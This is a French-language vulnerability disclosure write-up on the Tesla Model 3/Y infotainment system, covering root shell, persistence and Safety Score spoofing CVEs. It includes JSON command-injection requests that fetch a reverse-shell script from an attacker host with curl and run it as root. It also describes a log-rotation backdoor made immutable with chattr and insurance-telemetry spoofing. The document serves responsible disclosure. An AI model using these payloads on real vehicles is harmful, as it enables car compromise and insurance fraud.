
Recherche de vulnérabilités sur les systèmes d'infodivertissement des Tesla Model 3/Y. 6 vulnérabilités, 4 CVEs (CVE-2022-42005 à CVE-2022-42008). Shell root, accès persistant, usurpation de télémétrie d'assurance.
Recherche de vulnérabilités sur le système d'infodivertissement Tesla Model 3/Y (MCU Intel Atom, Linux 4.14.235), divulguée de manière responsable à Tesla via Bugcrowd.
Obtenu un accès root persistant sur une Tesla Model 3 de production via une vulnérabilité d'injection de commandes dans l'interface de diagnostic ODIN de Tesla (CVE-2022-42008). De là, découvert cinq vulnérabilités supplémentaires — dont une méthode de persistance qui survit aux mises à jour du firmware (CVE-2022-42005, CVE-2022-42006) et une méthode pour usurper la télémétrie d'assurance Safety Score qui a directement réduit les primes mensuelles de 130 $ à 83 $.
Six vulnérabilités dans ODIN, hermes et Safety Score. Quatre CVE. Récompensé via Bugcrowd et inscrit au programme SSH Security Researcher de Tesla.
| Découverte | CVE | Impact | Statut | Récompense |
|---|---|---|---|---|
| Root Shell via ODIN | CVE-2022-42008 | Shell root via injection de commandes | Corrigé (2021.32.10) | Prime Bugcrowd |
| Jetons ODIN expirés | CVE-2022-42007 | Rejeu de jetons via usurpation NTP | Corrigé (2021.32.10) | Prime Bugcrowd |
| Téléversement vers Mothership | — | Téléversement arbitraire de fichiers vers les serveurs Tesla | Marqué N/A | — |
| Backshell via logs + Accès DV | CVE-2022-42005, CVE-2022-42006 | Accès persistant survivant aux mises à jour du firmware | Corrigé | Prime Bugcrowd |
| Usurpation de télémétrie d'assurance | — | Safety Score usurpé réduit les primes d'assurance | Aucun correctif confirmé | — |
| Défusion ODIN | — | Toute tâche ODIN sans authentification | Aucun correctif confirmé | — |
Le système d'infodivertissement Tesla Model 3/Y (MCU Intel Atom) exécute un OS basé sur Linux avec plusieurs surfaces d'attaque identifiées lors de cette recherche :
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (proxy+client) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (cmd inj) │ │ server │ │ Uploads to │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Report 06 │ │ (data vals) │ │ [Report 03] │ │
│ │ (is-fused │ │ │ │ [Report 05] │ │
│ │ bypass) │ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ Log Rotation │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (persistence)│ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ Server │
│ │ │ │
│ CVE-42007 │ │ File uploads │
│ (expired │ │ Telemetry data │
│ tokens) │ │ │
└─────────────┘ └──────────────────┘
Rapports complets : Root Shell via ODIN | Backshell via logs + Accès DV
L'interface de diagnostic ODIN expose une tâche appelée TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK qui accepte un paramètre MicTest-Input — une liste de chaînes passées directement à CID_EXEC pour exécution en tant que root. Tout abonné avec le niveau d'accès le plus bas de Toolbox (tbx-external) peut déclencher cette tâche en se connectant au port de diagnostic de la voiture et en envoyant une requête POST. Les chaînes d'entrée sont exécutées textuellement, donc l'attaque se fait en deux requêtes : d'abord, télécharger un script de reverse shell sur la voiture via curl :
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
Puis l'exécuter :
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
Avec un shell root établi, l'accès persistant est obtenu en détournant la configuration de rotation des logs svlogd. La commande de compression gzip standard est remplacée par un script qui ouvre un backshell sous le compte log chaque fois que les logs tournent :
!sh /var/log/wpa_supplicant/gzip.sh -c
Le fichier de configuration est rendu immuable avec chattr +i, garantissant qu'il survive aux mises à jour du firmware. Bien que le compte log ne puisse pas utiliser la commande standard sdv pour définir des valeurs de données (dbus la rejette), le prototype_server dormant de Tesla fournit un accès websocket non restreint à toutes les valeurs de données lorsqu'il est activé via settings.conf. Un ensemble personnalisé de scripts shell (sdv, lv, send.sh) émulent un client websocket pour interagir avec ce serveur.
La boîte à outils de persistance complète est contrôlée via la boîte de saisie du code d'accès de la voiture (visible en appuyant longuement sur le modèle de voiture sur l'écran tactile), qui est surveillée par un script d'écoute qui distribue des commandes — y compris l'ouverture de backshells, la définition de valeurs de données et l'activation/désactivation des modes de service.